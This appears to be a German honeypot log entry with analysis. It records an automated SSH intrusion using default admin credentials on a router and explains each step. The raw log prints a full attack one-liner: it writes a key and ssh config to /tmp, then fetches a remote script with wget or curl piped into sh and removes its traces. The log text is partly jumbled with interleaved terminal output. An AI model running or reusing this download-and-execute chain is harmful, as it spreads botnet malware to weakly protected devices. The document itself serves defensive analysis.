29.09.2026, 22:49 UTC · 8 Befehle · über ssh · Niederlande
user='admin' pass='admin' admin@srv01:~$ uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- Linux router 5.4.179 #0 SMP Tue Oct 25 10:30:00 2022 mips GNU/Linux auth_ok -----BEGIN OPENSSH PRIVATE KEY----- auth_ok '-----BEGIN OPENSSH PRIVATE KEY----- admin@srv01:~$ [Token] bash: [Token]: command not found admin@srv01:~$ [Token] bash: [Token]: command not found admin@srv01:~$ [Token] bash: [Token]: command not found admin@srv01:~$ [Token] bash: [Token]: command not found admin@srv01:~$ [Token] bash: [Token]: command not found admin@srv01:~$ -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no bash: -----END: command not found 'StrictHostKeyChecking no admin@srv01:~$ UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk [E-Mail]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://[IP]/sh || curl -sk https://[IP]/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh bash: curl: command not found
Der Angreifer meldete sich mit Standardzugangsdaten an einem SSH-Dienst an. Er prüfte das Systemprofil und deklarierte einen erfolgreichen Authentifizierungsschritt. Anschließend versuchte er, einen privaten SSH-Schlüssel sowie eine Konfigurationsdatei im temporären Verzeichnis anzulegen. Danach lud er ein Skript von einem externen Server herunter und führte es aus, wobei er einen Fallback auf direkte Downloads nutzte.
Das Kommando uname -a identifiziert das Betriebssystem und die Architektur. Der Befehl echo -e mit Hexadezimalwerten schreibt die Zeichenfolge auth_ok in die Ausgabe, um einen Erfolg vorzutäuschen. Die cd-Befehle wechseln in beschreibbare temporäre Verzeichnisse wie /tmp oder /dev/shm. Der Angreifer speicherte einen Ed25519-Schlüssel in key.ppk und konfigurierte SSH so, dass es Host-Prüfungen ignoriert. Mit scp versuchte er, eine Datei namens out_sh zu kopieren, und führte sie bei Erfolg aus. Alternativ lud er das Skript direkt über wget oder curl herunter und leitete es in die Shell weiter.
Das Ziel war vermutlich die Installation einer Backdoor oder eines Botnet-Agents auf dem Router. Die Verwendung eines eigenen SSH-Schlüssels deutet auf einen Versuch hin, persistente Zugänge zu schaffen oder lateral zu bewegen. Da die Shell das Skript nicht korrekt ausführte, blieb die Infektion in diesem Fall erfolglos.
Dieses Muster ist sehr verbreitet bei automatisierten Botnetzen, die IoT-Geräte mit schwachen Passwörtern kompromittieren. Die Kombination aus Standard-Login und dem Versuch, Skripte über HTTPS zu laden, ist typisch für Malware-Familien wie Mirai oder ihre Nachfolger.